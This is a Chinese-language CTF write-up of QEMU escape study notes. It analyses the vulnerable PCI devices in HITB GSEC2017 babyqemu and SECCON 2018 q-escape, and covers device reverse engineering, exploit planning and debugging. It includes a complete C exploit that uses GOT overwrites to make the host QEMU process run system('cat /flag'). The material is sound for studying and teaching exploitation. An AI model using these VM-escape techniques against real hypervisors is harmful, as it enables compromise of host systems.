QEMU Escape学习笔记

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环境搭建

1、源码安装qemu

qemu最好通过下载源码安装方式,如果通过apt安装,会依赖当前ubuntu的版本,qemu的版本比较老。

#下载源码
wget https://download.qemu.org/qemu-5.0.0.tar.xz 
#安装依赖
sudo apt-get install git libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev
#编译
tar xvJf qemu-5.0.0.tar.xz
cd qemu-5.0.0
./configure
make #这一步编译可能需要30分钟左右
sudo make install
#接下来测试命令
qemu-system-x86_64 --version
#QEMU emulator version 5.0.0
#Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers

2、可能遇到的问题

  1. KVM kernel module: No such file or directory
    在启动qemu的过程中如果遇到Could not access KVM kernel module: No such file or directory问题,需要检查虚拟机->设置->处理器中的虚拟化引擎的虚拟化Inter VT-x/EPT 或AMD-V/RVI是否开启。
  2. KVM kernel module: Permission denied
    启动qemu 在开启-enable-kvm时遇到以下问题
    Could not access KVM kernel module: Permission denied
    failed to initialize KVM: Permission denied
    

    通过查资料,发现时kvm权限问题,于是运行以下命令

    $ sudo chown root:kvm /dev/kvm
    #chown: invalid group: ‘root:kvm’
    

    又遇到问题,可能没有安装qemu-kvm,参考https://askubuntu.com/questions/1143716/how-can-i-solve-chown-invalid-user

    $ sudo apt install qemu-kvm
    

    安装完后配置权限

    root@ubuntu:# sudo adduser $USER kvm
    Adding user `root' to group `kvm' ...
    Adding user root to group kvm
    Done.
    root@ubuntu:# chown $USER /dev/kvm
    root@ubuntu:# chmod 666 /dev/kvm
    root@ubuntu:# ll /dev/kvm
    crw-rw---- 1 root kvm 10, 232 Nov 18 17:21 /dev/kvm
    root@ubuntu:# systemctl restart libvirtd.service
    Failed to restart libvirtd.service: Unit libvirtd.service not found.
    

    又出现错误,参考https://unix.stackexchange.com/questions/609241/creating-vms-using-kvm-error-unit-libvirtd-service-could-not-be-found

    root@ubuntu:# kvm-ok
    INFO: /dev/kvm exists
    KVM acceleration can be used
    root@ubuntu:# apt install -y qemu qemu-kvm libvirt-daemon libvirt-clients bridge-utils virt-manager
    

    安装完后,测试成功

    root@ubuntu:/home/leo/Desktop/strng/strng# systemctl status libvirtd.service
    ● libvirtd.service - Virtualization daemon
    Loaded: loaded (/lib/systemd/system/libvirtd.service; enabled; vendor preset:
    Active: active (running) since Wed 2020-11-18 19:06:08 PST; 48s ago
      Docs: man:libvirtd(8)
            https://libvirt.org
    Main PID: 54248 (libvirtd)
     Tasks: 19 (limit: 32768)
    CGroup: /system.slice/libvirtd.service
            ├─54248 /usr/sbin/libvirtd
            ├─54723 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/defaul
            └─54724 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/defaul
    
    root@ubuntu:~# systemctl restart libvirtd.service
    root@ubuntu:~# ./launch.sh 
    [    0.000000] Initializing cgroup subsys cpuset
    [    0.000000] Initializing cgroup subsys cpu
    [    0.000000] Initializing cgroup subsys cpuacct
    

    启动成功!!!

 

HITB GSEC2017 babyqemu

Step1 : 分析设备

运行一下命令解包

mkdir core
cd core
cpio -idmv < ../rootfs.cpio

得到文件系统后,首先查看启动命令lauch.sh

#! /bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic  -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

注意到-device hitb参数知道了存在一个hitb这个pci设备

然后将qemu-system-x86_64拖入ida中,搜索hitb相关的函数

ida_hitb

先看init初始化函数,需要将设备类型定义为PCIDeviceClass结构体。PCIDeviceClass结构体在Local type中可以找到它的描述定义

struct PCIDeviceClass
{
  DeviceClass_0 parent_class;
  void (*realize)(PCIDevice_0 *, Error_0 **);    //0xc0
  int (*init)(PCIDevice_0 *);
  PCIUnregisterFunc *exit;
  PCIConfigReadFunc *config_read;
  PCIConfigWriteFunc *config_write;
  uint16_t vendor_id;    //0xe8
  uint16_t device_id;    //0xea
  uint8_t revision;
  uint16_t class_id;
  uint16_t subsystem_vendor_id;
  uint16_t subsystem_id;
  int is_bridge;
  int is_express;
  const char *romfile;
};
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass *v2; // rax

  v2 = object_class_dynamic_cast_assert(
         a1,
         "pci-device",
         "/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c",
         469,
         "hitb_class_init");
  v2->revision = 16;
  v2->class_id = 255;
  v2->realize = pci_hitb_realize;
  v2->exit = pci_hitb_uninit;
  v2->vendor_id = 0x1234;
  v2->device_id = 0x2333;
}

可以看到设备号device_id=0x2333,功能号vendor_id=0x1234

接着在ubuntu中查看pci的I/O信息,运行sudo ./lauch.sh,遇到错误./qemu-system-x86_64: /usr/lib/x86_64-linux-gnu/libcurl.so.4: version `CURL_OPENSSL_3' not found (required by ./qemu-system-x86_64)
运行sudo apt-get install libcurl3可以解决

# lspci -v
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333 -> hitb

# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000

resource文件内容的格式为start end flag 。在resource0文件中,根据flag最后一位为0可知存在一个MMIO的内存空间,地址为0xfea00000,大小为0x100000。

然后看hitb设备注册了什么函数,分析pci_hitb_realize函数

void __fastcall pci_hitb_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
  pdev->config[61] = 1;
  if ( !msi_init(pdev, 0, 1u, 1, 0, errp) )
  {
    timer_init_tl(&pdev[1].io_regions[4], main_loop_tlg.tl[1], 1000000, hitb_dma_timer, pdev);//timer结构体,回调函数为hitb_dma_timer
    qemu_mutex_init(&pdev[1].io_regions[0].type);
    qemu_cond_init(&pdev[1].io_regions[1].type);
    qemu_thread_create(&pdev[1].io_regions[0].size, "hitb", hitb_fact_thread, pdev, 0);
    memory_region_init_io(&pdev[1], &pdev->qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);//注册mmio内存空间,内存操作结构体hitb_mmio_ops
    pci_register_bar(pdev, 0, 0, &pdev[1]);
  }
}

注册了timer结构体,其回调函数为hitb_dma_timer;同时也注册了hitb_mmio_ops内存操作的结构体,其包含hitb_mmio_read和hitb_mmio_write两个操作。
得到了重点函数

hitb_mmio_read
hitb_mmio_write
hitb_dma_timer

Step2 : 分析函数

在分析以上三个函数之前,需要先搞懂设备的结构体,在Local type中搜索hitb可以找到HitbState

struct __attribute__((aligned(16))) HitbState
{
  PCIDevice_0 pdev;
  MemoryRegion_0 mmio;
  QemuThread_0 thread;
  QemuMutex_0 thr_mutex;
  QemuCond_0 thr_cond;
  _Bool stopping;
  uint32_t addr4;
  uint32_t fact;
  uint32_t status;
  uint32_t irq_status;
  dma_state dma;
  QEMUTimer_0 dma_timer;
  char dma_buf[4096];
  void (*enc)(char *, unsigned int);
  uint64_t dma_mask;
};
struct dma_state
{
  uint64_t src;
  uint64_t dst;
  uint64_t cnt;
  uint64_t cmd;
};

hitb_mmio_read

uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size)
{
  if ( size == 4 )
  {
    if ( addr == 128 ) return opaque->dma.src;
    if ( addr == 140 ) return *(&opaque->dma.dst + 4);
    if ( addr == 132 ) return *(&opaque->dma.src + 4);
    if ( addr == 136 ) return opaque->dma.dst;
    if ( addr == 144 ) return opaque->dma.cnt;
    if ( addr == 152 ) return opaque->dma.cmd;
    if ( addr == 8 ) return opaque->fact;
    if ( addr == 4 ) return opaque->addr4;
    if ( addr == 32 ) return opaque->status;
    if ( addr == 36 ) return opaque->irq_status;
 }

size==4,通过addr读取结构体数据

hitb_mmio_write

void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  if ( (addr > 0x7F || size == 4) && (!((size - 4) & 0xFFFFFFFB) || addr <= 0x7F) )
  {
    if ( addr == 128 && !(opaque->dma.cmd & 1))
        opaque->dma.src = val;
    if ( addr == 140 && !(opaque->dma.cmd & 1))
        *(&opaque->dma.dst + 4) = val;
    if ( addr == 144 && !(opaque->dma.cmd & 1) )
        opaque->dma.cnt = val;
    if ( addr == 152 && val & 1 && !(opaque->dma.cmd & 1) )
    {
        opaque->dma.cmd = val;
        v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
        timer_mod(&opaque->dma_timer, (((4835703278458516699LL * v7) >> 64) >> 18) - (v7 >> 63) + 100);//触发timer
    }
    if ( addr == 132 && !(opaque->dma.cmd & 1))
        *(&opaque->dma.src + 4) = val;
    if ( addr == 136 && !(opaque->dma.cmd & 1) )
        opaque->dma.dst = val;
   }
}

关键的操作如上所示,都需要满足的条件size==4 && opaque->dma.cmd&1==0,其中当addr==152时触发timer,调用hitb_dma_timer函数

hitb_dma_timer

void __fastcall hitb_dma_timer(HitbState *opaque)
{
  v1 = opaque->dma.cmd;
  if ( v1 & 1 )
  {
    if ( v1 & 2 )
    {
      v2 = (LODWORD(opaque->dma.src) - 0x40000);
      if ( v1 & 4 )
      {    //v1==7
        v7 = &opaque->dma_buf[v2];
        (opaque->enc)(v7, LODWORD(opaque->dma.cnt));//调用enc函数指针
        v3 = v7;
      }
      else
      {    //v1==3
        v3 = &opaque->dma_buf[v2];
      }
      cpu_physical_memory_rw(opaque->dma.dst, v3, opaque->dma.cnt, 1);
      v4 = opaque->dma.cmd;
      v5 = opaque->dma.cmd & 4;
    }
    else
    {    //v1==1
      v6 = &opaque[-36] + opaque->dma.dst - 2824;
      LODWORD(v3) = opaque + opaque->dma.dst - 0x40000 + 3000;
      cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);
      v4 = opaque->dma.cmd;
      v5 = opaque->dma.cmd & 4;
      if ( opaque->dma.cmd & 4 )
      {
        v3 = LODWORD(opaque->dma.cnt);
        (opaque->enc)(v6, v3, v5);
        v4 = opaque->dma.cmd;
        v5 = opaque->dma.cmd & 4;
      }
    }
    opaque->dma.cmd = v4 & 0xFFFFFFFFFFFFFFFELL;
  }
}

cpu_physical_memory_rw函数的第一个参数时物理地址,虚拟地址需要通过读取/proc/$pid/pagemap转换为物理地址。

  1. 1、dma.cmd==7时,idx=dma.src-0x40000,addr = dma_buf[idx],调用enc加密函数加密,并写入到dma.dst中
  2. 2、dma.cmd==3时,idx=dma.src-0x40000,addr = dma_buf[idx],写入到dma.dst中
  3. 3、dma.cmd==1时,idx=dma.dst-0x40000,addr=dma_buf[idx],将其写入到dma.src中(第二个参数可以通过调试得到其地址就是dma_buf[dma.dst-0x40000]

至此可以找到漏洞点在hitb_dma_timer,因为dma.src和dma.dst都是可以通过hitb_mmio_write函数进行控制,因此可以随意指定dma_buf的索引进行任意地址读写。
利用思路为

  1. 1、使得idx = 0x10000,泄露dma_buf后面的enc函数指针,计算得到system函数地址
  2. 2、使得idx=0x10000,修改enc函数指针为system函数
  3. 3、在&dma_buf[0]中写入”cat flag”指令,并调用enc加密函数

参考exp

Step3 : 调试

写好exp.c后将其打包进rootfs.cpio中

cc -O0 -static -o exp exp.c
cp exp core/root
cd core
find . | cpio -o -H newc | gzip > ../rootfs.cpio

启动后查看qemu的pid并附加上去,下断点开始调试

$ ps -ax | grep qemu
$ sudo gdb -q --pid=[pid]
pwndbg> file qemu-system-x86_64
pwndbg> b ...
pwndbg> c

下断点问题

在我第一次下断点的时候遇到一个问题

gdb_breakpoint

应该是因为设置断点的地址只是个偏移量,如果程序开启PIE,就不能成功插入

解决办法:重新附加到进程即可,或者获得程序基址计算断点的真实地址

pwndbg> detach
pwndbg> attach [pid]

dma_timer函数触发

在调试exp过程中遇到一个细节问题,在如果想触发hitb_dma_timer而传入addr=152后,没有sleep,那么程序不会调用hitb_dma_timer,从而泄露不了数据

sleep

这是因为timer_mod的参数expire_time表示超过这个时间才会去调用cb(callback)回调函数,因此exp中如果调用hitb_dma_timer,都需要添加sleep函数。

 

2018_seccon_q-escape

这题通过魔改原有设备中的代码而形成的漏洞,一般来说代码量比较大,最好使用源码进行对比分析,快速定位到漏洞点

Step1 :分析设备

[*] '~/seccon_2018_q-escape/qemu-system-x86_64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

解压后拿到文件系统,查看./run.sh

#!/bin/sh
./qemu-system-x86_64 \
    -m 64 \
    -initrd ./initramfs.igz \
    -kernel ./vmlinuz-4.15.0-36-generic \
    -append "priority=low console=ttyS0" \
    -nographic \
    -L ./pc-bios \
    -vga std \
    -device cydf-vga \
    -monitor telnet:127.0.0.1:2222,server,nowait

设备名为cydf-vga,并且允许telnet连接上去

将qemu-system-x86_64拖入ida中,查找与设备cydf-vga相关的函数

ida_seccon

先分析cydf_vga_class_init初始化函数,同样需要将类型转化为PCIDeviceClass

void __fastcall cydf_vga_class_init(ObjectClass_0 *klass, void *data)
{
  PCIDeviceClass *v2; // rbx
  PCIDeviceClass *v3; // rax

  v2 = object_class_dynamic_cast_assert(
         klass,
         "device",
         "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c",
         3223,
         "cydf_vga_class_init");
  v3 = object_class_dynamic_cast_assert(
         klass,
         "pci-device",
         "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c",
         3224,
         "cydf_vga_class_init");
  v3->realize = pci_cydf_vga_realize;
  v3->romfile = "vgabios-cydf.bin";
  v3->vendor_id = 0x1013;
  v3->device_id = 0xB8;
  v3->class_id = 0x300;
  v2->parent_class.desc = "Cydf CLGD 54xx VGA";
  v2->parent_class.categories[0] |= 0x20uLL;
  v2->parent_class.vmsd = &vmstate_pci_cydf_vga;
  v2->parent_class.props = pci_vga_cydf_properties;
  v2->parent_class.hotpluggable = 0;
}

可以看到ctdf_vga这个pci设备的device_id=0xb8,vendor_id=0x1013。并且可以看到其parent_class描述为Cydf CLGD 54xx VGA,于是在源码中搜索这个字符串

leo@ubuntu:~/qemu-5.0.0/hw/display
$ grep -r "Cydf CLGD 54xx VGA" ./
leo@ubuntu:~/qemu-5.0.0/hw/display
$ grep -r "CLGD 54xx VGA" ./
./cirrus_vga_rop2.h: * QEMU Cirrus CLGD 54xx VGA Emulator.
Binary file ./cirrus_vga.o matches
./cirrus_vga_internal.h: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support
./cirrus_vga_isa.c: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support
Binary file ./.cirrus_vga.c.swp matches
./cirrus_vga_rop.h: * QEMU Cirrus CLGD 54xx VGA Emulator.
./cirrus_vga.c: * QEMU Cirrus CLGD 54xx VGA Emulator.
./cirrus_vga.c:    dc->desc = "Cirrus CLGD 54xx VGA";

发现源码中cirrus_vga.c出现类似的字符串,应该就是通过魔改Cirrus CLGD 54xx VGA Emulator设备形成的Cydf设备。

启动qemu时出现的错误及解决方法

$ ./run.sh
./qemu-system-x86_64: error while loading shared libraries: libcapstone.so.3: cannot open shared object file: No such file or directory
$ sudo apt-get install libcapstone3
/ # lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0300: 1013:00b8 -> cydf_vga

/ # cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fa000000 0x00000000fbffffff 0x0000000000042208
0x00000000febc1000 0x00000000febc1fff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febb0000 0x00000000febbffff 0x0000000000046200

可以看到存在3个mmio空间
在pci_cydf_vga_realize函数中,关注cydf_init_common函数

//cydf_init_common
memory_region_init_io(&s->cydf_vga_io, owner, &cydf_vga_io_ops, s, "cydf-io", 0x30uLL);
memory_region_init_io(&s->low_mem, owner, &cydf_vga_mem_ops, s, "cydf-low-memory", 0x20000uLL);
memory_region_init_io(&s->cydf_mmio_io, owner, &cydf_mmio_io_ops, s, "cydf-mmio", 0x1000uLL);

只关注跟cydf这个pci设备有关的内存空间函数,可以发现注册了一个0x30的PMIO空间、一个0x20000的MMIO空间以及一个0x1000的MMIO空间。但时在resource文件中没有看到PMIO的端口范围,于是查看/proc/ioports

/ # cat /proc/ioports
...
03c0-03df : vga+
...

发现vga+的端口范围正好为0x30的大小
根据vgamem中所描述,VGA显存在地址空间中的映射范围为0xa0000-0xbffff。因此查看/proc/iomem找到vga的地址空间

/ # cat /proc/iomem
...
000a0000-000bffff : PCI Bus 0000:00
...

从cydf_vga_io_ops、cydf_vga_mem_ops以及cydf_mmio_io_ops得到内存操作函数

cydf_vga_ioport_read
cydf_vga_ioport_write
cydf_vga_mem_read
cydf_vga_mem_write
cydf_mmio_read
cydf_mmio_write

Step2 :分析函数

分析功能函数前,需要先搞懂设备的结构体,在Local type中搜索Cydf可以找到CydfVGAState
通过对比cydf_vga_mem_write与cirrus_vga_mmio_write发现,原来cirrus_vga_mmio_write函数只有2种情况:addr < 0x10000、0x18000 <= addr < 0x18100,而cydf_vga_mem_write多出一种情况:addr>=0x18100,需要重点分析这部分分支的逻辑。

//cydf_vga_mem_write
    v6 = 205 * opaque->vga.sr[0xCC];
    LOWORD(v6) = opaque->vga.sr[0xCC] / 5u;
    v7 = opaque->vga.sr[0xCC] - 5 * v6;//sr[0xcc]%5
    if ( *&opaque->vga.sr[205] )//idx=mem_value&0xff0000
      LODWORD(mem_value) = (opaque->vga.sr[205] << 16) | (opaque->vga.sr[206] << 8) | mem_value;
    if ( v7 == 2 )
    {
      v24 = BYTE2(mem_value);
      if ( v24 <= 0x10 && *(&opaque->vga.vram_ptr + 2 * (v24 + 4925)) )
        __printf_chk(1LL);
    }
    else
    {
      if ( v7 <= 2u )
      {
        if ( v7 == 1 )
        {//opaque->vs.buf[cur_size++]=mem_value
          if ( BYTE2(mem_value) > 0x10uLL )
            return;
          v8 = (opaque + 16 * BYTE2(mem_value));
          v9 = v8->vs[offsetof(CydfVGAState, vga)].buf;
          if ( !v9 )
            return;
          v10 = v8->vs[0].cur_size;
          if ( v10 >= v8->vs[0].max_size )
            return;
LABEL_26:
          v8->vs[0].cur_size = v10 + 1;
          v9[v10] = mem_value;
          return;
        }
        goto LABEL_35;
      }
      if ( v7 != 3 )
      {
        if ( v7 == 4 )
        {//opaque->vs.buf[cur_size++]=mem_value
        //no check for cur_size
          if ( BYTE2(mem_value) > 0x10uLL )
            return;
          v8 = (opaque + 16 * BYTE2(mem_value));
          v9 = v8->vs[0].buf;
          if ( !v9 )
            return;
          v10 = v8->vs[0].cur_size;
          if ( v10 > 0xFFF )
            return;
          goto LABEL_26;
        }
LABEL_35:
        //v7==0
        //opaque->vs.buf[vulncnt++]=malloc(mem_value)
        v20 = vulncnt;
        if ( vulncnt <= 0x10 && mem_value <= 0x1000uLL )
        {
          mem_valuea = mem_value;
          v21 = malloc(mem_value);
          v22 = (opaque + 16 * v20);
          v22->vs[0].buf = v21;
          if ( v21 )
          {
            vulncnt = v20 + 1;
            v22->vs[0].max_size = mem_valuea;
          }
        }
        return;
      }
      if ( BYTE2(mem_value) <= 0x10uLL )
      {//v7==3
      //v8->vs[0].max_size=mem_value
        v23 = (opaque + 16 * BYTE2(mem_value));
        if ( v23->vs[0].buf )
        {
          if ( mem_value <= 0x1000u )# 
            *&v23->vs[0].max_size = mem_value;
        }
      }
    }

v7由opaque->vga.sr[204]来确定,那么opaque->vga.sr[204]是从哪里来的呢?我们发现可以通过cydf_vga_ioport_write函数来控制opaque->vga.sr[]数组的值

//cydf_vga_ioport_write
      case 0x3C4uLL:
        opaque->vga.sr_index = v4;
        break;
      case 0x3C5uLL:
        v10 = opaque->vga.sr_index;
        switch ( v10 )
        {
          case 8:
          case 9:
          case 0xA:
          case 0xB:
          case 0xC:
          case 0xD:
          case 0xE:
          case 0xF:
          case 0x13:
          case 0x14:
          case 0x15:
          case 0x16:
          case 0x18:
          case 0x19:
          case 0x1A:
          case 0x1B:
          case 0x1C:
          case 0x1D:
          case 0x1E:
          case 0x1F:
          case 0xCC:
          case 0xCD:
          case 0xCE:
LABEL_28:
            opaque->vga.sr[v10] = v4;
            break;

因此可以通过设置opaque->vga.sr_index索引的值为0xCC来控制v7的值,同样,我们也能控制opaque->vga.sr[0xCD/0XCE]的值
总共有5种功能

  1. 1、v7==0时,opaque->vs[vulncnt].buf=malloc(mem_value&0xfff),max_size==mem_value&0xfff
  2. 2、v7==1时,当cur_size<max_size时,opaque->vs[idx].buf[cur_sizee++]=mem_value&0xff。
  3. 3、v7==2时,printf_chk(1,opaque->vs[idx].buf)
  4. 4、v7==3时,opaque->vs[idx].max_size=mem_value&0xfff
  5. 5、v7==4时,opaque->vs[idx].buf[cur_sizee++]=mem_value&0xff

可以发现漏洞点

  1. v7==4时,没有对cur_size进行检查,可以形成堆溢出
  2. 从CydfVGAState_0结构体
    //CydfVGAState_0
    000133D8 vs              VulnState_0 16 dup(?)
    000134D8 latch           dd 4 dup(?)
    

    可以看到vs数组只有16个元素,而程序中对idx的判断允许idx==16,因此形成数组溢出到latch[0]。然后在cydf_vga_mem_read函数能控制latch[0]

    v3 = opaque->latch[0];
    if ( !(_WORD)v3 )
    {
     opaque->latch[0] = addr | v3;
     return vga_mem_readb(&opaque->vga, addr);
    }
    opaque->latch[0] = (_DWORD)addr << 16;
    

得出的利用过程:

  1. 1、往bss段一个地址addr写入”cat /flag”
  2. 2、将qemu_logfile改为addr
  3. 3、将vfprintf.got修改为system.plt
  4. 4、将printf_chk.got改为qemu_log函数地址
  5. 5、v7==2触发printf_chk

Step3:调试

使用base64将exp编码,然后在虚拟机中解码来实现将exp上传到靶机中。在另一个终端中运行一下脚本

str=`ps -ax | grep qemu`
PID=${str/qemu-system-x86_64*/}
if [ "$str" != "$PID" ]; then
    PID=${PID/ pt*/}
    PID=${PID/ /}
    echo ${PID}
    sudo gdb -q --pid=${PID}
else
    echo "run qemu first..."
fi

访问PMIO

UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过IN以及 OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为<sys/io.h>,函数的具体用法可以使用man手册查看。

还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff之间的端口,使用ioperm(from, num, turn_on)即可;对于0x3ff以上的端口,则该调用执行iopl(3)函数去允许访问所有的端口(可使用man ioperm 和man iopl去查看函数)。

这题vga+的端口为03c0-03df,因此只需要靶机具有root权限,并调用ioperm(0x3b0, 0x30, 1)打开端口。
在调用cydf_vga_ioport_write函数时使用outl和outw指令不能将val参数传进去,而用outb指令就能成功,这个问题没搞清楚。

访问vga_mem

vga_mem的内存空间并没有在resource文件中体现,根据源码中对cirrus_vga_mem_read函数有个描述,vga的内存空间在0xa0000-0xbffff中,与cat /proc/iomem的结果一致。

/***************************************
 *
 *  memory access between 0xa0000-0xbffff
 *
 ***************************************/

static uint64_t cirrus_vga_mem_read(void *opaque,
                                    hwaddr addr,
                                    uint32_t size)

有一个访问物理内存的简单方法时映射/dev/mem到我们的进程中,然后我们就可以像正常访存一样进行读写。但是提供的环境中并没有挂载/dev/mem文件,我们可以通过mknod -m 660 /dev/mem c 1 1命令挂载上去。

system( "mknod -m 660 /dev/mem c 1 1" );
int fd = open( "/dev/mem", O_RDWR | O_SYNC );
if ( fd == -1 ) {
    return 0;
}

mmio_mem = mmap( NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xfebc1000 );
if ( !mmio_mem ) {
    die("mmap mmio failed");
}

vga_mem = mmap( NULL, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xa0000 );
if ( !vga_mem ) {
    die("mmap vga mem failed");
}

程序没有在断点处断下

  1. 1、在访问vga_mem内存调用cydf_vga_mem_read函数时,在调试器中并没有观察到程序流在此处断下。(这里卡了我很久)
    可能的原因:在编译exp.c的过程中,如果访问了vga_mem没有对返回值进行处理,也就是这个操作对程序执行结果没有影响,编译器可能会将其进行优化,优化的结果会将这段代码删去,这样一来就不能触发断点。这可能也是很多现有的exp不能跑通的原因。
    解决方法:将返回值结果输出
  2. 2、同样的问题在调用vga_mem_write函数的时候出现,解决方法相同,也即将要写入的数据输出。
  3. 3、在调用vga_mem_write函数进行任意地址写时,并实际写入的数据并不是我们传入的参数。
    解决方法:同样还是将写入的数据输出。另外在写入”cat /flag”字符串的时候,使用printf(“%s”)还是不能解决问题,而是通过将每个字符输出才能成功。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

uint32_t mmio_addr = 0xfebc1000;
uint32_t mmio_size = 0x1000;
uint32_t vga_addr = 0xa0000;
uint32_t vga_size = 0x20000;

unsigned char* mmio_mem;
unsigned char* vga_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void set_sr(unsigned int idx, unsigned int val){
    outb(idx,0x3c4);
    outb(val,0x3c5);
}

void vga_mem_write(uint32_t addr, uint8_t value)
{
    *( (uint8_t *) (vga_mem+addr) ) = value;
}

void set_latch( uint32_t value){
    char a;
    a = vga_mem[(value>>16)&0xffff];
    write(1,&a,1);
    a = vga_mem[value&0xffff];
    write(1,&a,1);
}

int main(int argc, char *argv[])
{
    //step 1 mmap /dev/mem to system, (man mem) to see the detail
    system( "mknod -m 660 /dev/mem c 1 1" );
    int fd = open( "/dev/mem", O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }
    //step2 map the address to fd
    mmio_mem = mmap( NULL, mmio_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mmio_addr );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }

    vga_mem = mmap( NULL, vga_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, vga_addr );
    if ( !vga_mem ) {
        die("mmap vga mem failed");
    }

    if (ioperm(0x3b0, 0x30, 1) == -1) {
        die("cannot ioperm");   
    }

    set_sr(7,1);
    set_sr(0xcc,4);     //v7==4
    set_sr(0xcd,0x10);  //vs[0x10]

    // write cat /flag to bss
    char a;
    unsigned int index = 0;
    uint64_t bss = 0x10C9850;
    char* payload = "cat /flag";
    a=vga_mem[1];write(1,&a,1); //init latch
    set_latch(bss);     //set latch[0]
    for (int i=0; i<9; i++) {
        write(1,&payload[i],1);
        vga_mem_write(0x18100,payload[i]);
    }
    index+=9;

    //qemu_logfile -> bss
    uint32_t qemu_logfile = 0x10CCBE0;
    set_latch(qemu_logfile-index);
    payload = (char*)&bss;
    printf("%s\n",payload);
    for (int i=0; i<8; i++) {
        vga_mem_write(0x18100,payload[i]);
    }
    index+=8;

    //vfprintf.got -> system.plt
    uint32_t vfprintf_got=0xEE7BB0;
    uint64_t system_plt=0x409DD0;
    set_latch(vfprintf_got-index);
    payload = (char*)&system_plt;
    printf("%s\n",payload);
    for (int i=0; i<8; i++) {
        vga_mem_write(0x18100,payload[i]);
    }
    index+=8;

    //printf_chk_got -> qemu_log
    uint64_t qemu_log = 0x9726E8;
    uint32_t printf_chk_got=0xEE7028;
    set_latch(printf_chk_got-index);
    payload = (char*)&qemu_log;
    printf("%s\n",payload);
    for (int i=0; i<8; i++) {
        vga_mem_write(0x18100,payload[i]);
    }

    set_sr(0xcc,2);
    vga_mem_write(0x18100,1);//printf_chk

    return 0;
}

 

总结

第一题的漏洞在MMIO空间,而第二题的漏洞需要MMIO空间操作搭配PMIO空间操作。从出题角度看第一题属于出题者添加一个含有漏洞的设备,代码量和难度相对比较小;而第二题属于从qemu源码中修改形成的漏洞设备,代码量相对要大,难度较高。

本文断断续续花了笔者一周的时间,调试这两题遇到了很多问题,其中还有一些问题没有深究其原因,望各位指正!

 

Reference

qemu-pwn-seccon-2018-q-escape
BlizzardCTF-2017-Strng
q-escape – SECCON 2018
cirrus_vga.c
vgamem

题目文件:

HITB GSEC2017_babyqemu
seccon_2018_q-escape

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